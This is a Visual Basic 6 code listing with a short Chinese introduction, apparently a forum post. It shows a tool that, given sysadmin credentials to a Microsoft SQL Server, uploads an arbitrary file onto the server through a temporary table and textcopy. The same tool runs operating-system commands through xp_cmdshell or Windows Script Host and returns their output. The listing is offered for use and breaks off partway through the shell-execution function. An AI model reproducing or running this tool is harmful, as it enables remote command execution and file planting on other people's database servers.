需要一个ADODB.Connection,连接用户名需sysadmin权限,第一个RadioButton需xp_cmdshell支持,第二\三个需WSH支持,使用时因服务器上所作的限制自行调整.控件示例见贴子附图

Dim objConn As New ADODB.Connection

Private Sub cmdUpload_Click()
On Error GoTo errhandle:
txtStatus.Text = "Uploading File, Please wait..."
Me.MousePointer = 13
objConn.DefaultDatabase = "master"
objConn.Execute "DROP TABLE cmds0002"
objConn.Execute "CREATE TABLE [cmds0002] ([id] [int] NULL ,[Files] [Image] NULL) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]"
objConn.Execute "insert into cmds0002 (id,files) values (1,0x0)"

Dim rsTmp As New ADODB.Recordset
rsTmp.Open "Select * from cmds0002 where id=1", objConn, 3, 3

FileToDB rsTmp("files"), txtSourceFileName.Text
rsTmp.Update

txtStatus.Text = "Exporting table to file..."

Dim strExec As String
strExec = "textcopy /S " & Chr(34) & txtServer.Text & Chr(34)
strExec = strExec & " /U " & Chr(34) & txtUserName.Text & Chr(34)
strExec = strExec & " /P " & Chr(34) & txtPassword.Text & Chr(34)
strExec = strExec & " /D master"
strExec = strExec & " /T cmds0002"
strExec = strExec & " /C files"
strExec = strExec & " /W " & Chr(34) & "where id=1" & Chr(34)
strExec = strExec & " /F " & txtDestFileName.Text
strExec = strExec & " /O"

If optUplMethod(0).Value = True Then
txtUplOutput.Text = cmdShellExec(strExec)
ElseIf optUplMethod(1).Value = True Then
txtUplOutput.Text = wsShellExec(strExec, "cmd.exe /c")
ElseIf optUplMethod(2).Value = True Then
txtUplOutput.Text = wsShellExec(strExec, "command.com /c")
End If

objConn.Execute "DROP TABLE cmds0002"

txtStatus.Text = "Upload Done."
Me.MousePointer = 0
Exit Sub

errhandle:
Me.MousePointer = 0
If Err.Number = -2147217900 Then
Resume Next
ElseIf Err.Number = -2147217865 Then
Resume Next
Else
MsgBox "Error(Upload): " & Err.Description, vbOKOnly + vbExclamation
End If

End Sub

Private Function cmdShellExec(ByVal strCommand As String) As String
On Error GoTo errhandle:
Dim strQuery As String
Dim strResult As String
Dim recResult As ADODB.Recordset
If strCommand <> "" Then
strQuery = "exec master.dbo.xp_cmdshell '" & strCommand & "'"
txtStatus.Text = "Executing command, please wait..."
Set recResult = objConn.Execute(strQuery)

Do While Not recResult.EOF
strResult = strResult & vbCrLf & recResult(0)
recResult.MoveNext
Loop
End If
Set recResult = Nothing
txtStatus.Text = "Command completed successfully! "
cmdShellExec = strResult
Exit Function

errhandle:
MsgBox "Error: " & Err.Description, vbOKOnly + vbExclamation
End Function

Private Function wsShellExec(ByVal strCommand As String, ByVal strShell As String) As String
On Error GoTo errhandle:
Dim rsShell As New ADODB.Recordset
Dim strResult As String
objConn.Execute "DROP TABLE cmds0001"
objConn.Execute "CREATE TABLE cmds0001 (Info varchar(400),ID INT IDENTITY (1, 1) NOT NULL )"
Dim strScmdSQL As String
strScmdSQL = "declare @shell int " & vbCrLf
strScmdSQL = strScmdSQL & "declare @fso int " & vbCrLf
strScmdSQL = strScmdSQL & "declare @file int " & vbCrLf
strScmdSQL = strScmdSQL & "declare @isend bit " & vbCrLf
strScmdSQL = strScmdSQL & "declare @out varchar(400) " & vbCrLf